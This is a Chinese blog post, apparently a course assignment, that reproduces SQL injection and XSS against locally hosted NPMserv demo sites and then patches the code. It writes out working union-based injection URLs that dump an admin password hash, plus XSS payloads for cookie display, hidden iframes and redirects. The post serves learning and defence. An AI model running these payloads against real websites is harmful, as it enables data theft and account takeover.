本文最后更新于:星期三, 一月 2日 2019, 4:09 下午

混子pwn手来学点web的东西了,网络攻防课程要求做的作业

SQL注入

原理

将SQL 代码插入或添加到应用(用户)的输入参数中,之后再讲这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。

形成原因:

web开发人员没有在将从web表单、cookie、输入参数等收到的值传给SQL查询前进行检查

漏洞复现

平台 : NPMserv 目标:NPMserv 中的一个政府网站 (本地搭的一个环境)

1542073321119

  1. 判断注入点

     http://127.0.0.1/info_show.php?info_id=140 and 1=1        有回显
     http://127.0.0.1/info_show.php?info_id=140 and 1=2        无回显
    

    1542073362556

  2. 爆破字段数量

    http://127.0.0.1/info_show.php?info_id=140 order by 5
    这里数量,试了1到5都没问题,而6的话就会无回显,所以字段数量为5
    
  1. 判断可回显字段

    http://127.0.0.1/info_show.php?info_id=140 union select 1,2,3,4,5
    这里发现只有2,3字段是可以回显的
    

    1542073876899

  2. 爆出敏感信息

    http://127.0.0.1/info_show.php?info_id=140 union select 1,user(),database(),4,5
    爆出了数据库用户名和数据库名,分别为root@localhost 和  govcn
    
    http://127.0.0.1/info_show.php?info_id=140 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="govcn"
    爆出govcn数据库中包含的数据表,分别为admin,index_dy,index_info,index_intro,jgsz,ldjj
    group_concat函数用于把多条数据一次注出
    
    爆admin表的列名
    http://127.0.0.1/info_show.php?info_id=140 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='admin'
    爆出admin表中的列名为username,password
    
    爆用户和密码
    http://127.0.0.1/info_show.php?info_id=140 union select 1,unhex(hex(username)),unhex(hex(password)),4,5 from admin
    用unhex(hex())是为了解决网站编码不一致导致没有回显的问题
    用户名为admin,密码为:21232f297a57a5a743894a0e4a801fc3 这个是md5加密过的,拿去解密一下,解出来的内容为 admin。所以用户名为admin,密码为admin
    

    1542074876497

利用注出的用户密码成功登入后台

1542074933958

至此,一个简单的SQL注入漏洞 就复现完了

SQL注入的防护手段

1对客户端提交的数据进行严格的校验,校验可以考虑数据类型,字符长度或者正则表达式等方式。

2.对客户端提交的数据进行转义,例如将” ‘ “转义为” ‘ “。

3.采用预编译绑定变量的SQL语句而不是直接拼接SQL语句。

4.避免在生产环境中,直接输出错误信息,因为这些错误信息有可能被攻击者利用。

5.严格执行数据库账号权限管理。

6.对用户敏感信息特别是密码做严格加密处理。

漏洞修复

因为这个平台代码写的比较shi,本来想加上SQL预编译的,但是发现要改好多东西,所以就只针对漏洞点进行,修改。定位漏洞点,在info_show.php中

1542077529335

可以发现它直接用GET请求获得的参数进行SQL查询,对传入的参数并没有进行检查。所以我在这加入了一个检查,判断传入的参数是否为数字,如果不为数字,就强制转换成数字。

1542077648754

然后就ok了,补完洞了。再测试下,发现已经注入不了了。(也可能是我太菜了,才注不了,但是不管了,假装补上了)

1542077747888

XSS跨站脚本攻击

原理

攻击者在被攻击的Web服务器网页中嵌入恶意脚本,通常是用JavaScript编写的恶意代码,当用户使用浏览器访问被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

类型

  1. 反射型 XSS

    反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

  2. 持久型 XSS

    此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

  3. DOM XSS

    DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的借口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

漏洞复现

平台 : NPMserv 目标:NPMserv 中的博客网站 (本地搭的一个环境)

1542079746200

寻找漏洞点,这些博客的网站,xss一般存在于留言板中。而这个博客系统中每篇文章下都可以留言,并且有留言本。

先测试下文章的留言功能

1542079882350

发现输入的js代码被执行了,所以这里存在一个xss漏洞,并且是个反射型的xss漏洞

1542079914811

然后测试下留言本,很明显,这里也存在XSS漏洞,并且这个是个存储型的XSS漏洞,我输入的语句直接插入到网站上,只要用户访问了这个网站,那么我输入的代码就会被执行。

1542080135130

1542080095858

这个可以拿来做很多事情,比如

  1. Cookie窃取
  2. 会话劫持
  3. 网页挂马
  4. DOS和DDOS
  5. XSS蠕虫

简单演示下

Cookie窃取

<script>alert(document.cookie)</script>

1542080395672

嵌入网页

<iframe src= http://www.baidu.com width=400 height=300></iframe>
<iframe src= http://www.baidu.com width=0 height=0 frameborder=0></iframe>
可以通过设置嵌入网页的高宽来隐藏它

1542080657918

页面跳转

<script>location="http://www.baidu.com"</script>
#直接劫持页面

防御手段

XSS攻击防御的核心思想就是对输入输出进行过滤和数据转义

  1. 过滤:

    过滤不安全的标签,如script, style, link, iframe, frame。

    过滤字符串中的 反斜杠

  2. 转义

    针对<、>、/、’、”、&五个字符进行实体化转义。

文章评论漏洞

1542087079685

漏洞修复:将$comment[‘content’] 的值经过htmlspecialchars函数处理,htmlspecialchars()函数可以把& (和号)、“(双引号)、‘(单引号)、<(小于)、>(大于)这些敏感符号都转换为html实体。

1542087470588

测试,XSS漏洞修复了

1542087328193

1542087524039

留言版漏洞,这是一个存储型XSS漏洞,审查代码,定位漏洞点

1542087858116

可以发现它对提交的变量没有进行过滤就插入数据库了

1542087956360

漏洞修补:在add函数里加入htmlspecialchars函数,对传入的变量进行转义

1542089636750

然后就搞定了,之前的XSS漏洞不可以用了

reference:

SQL注入攻击方式及防御方法,手把手入门白帽子 (二)

CTF-Wiki


web

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!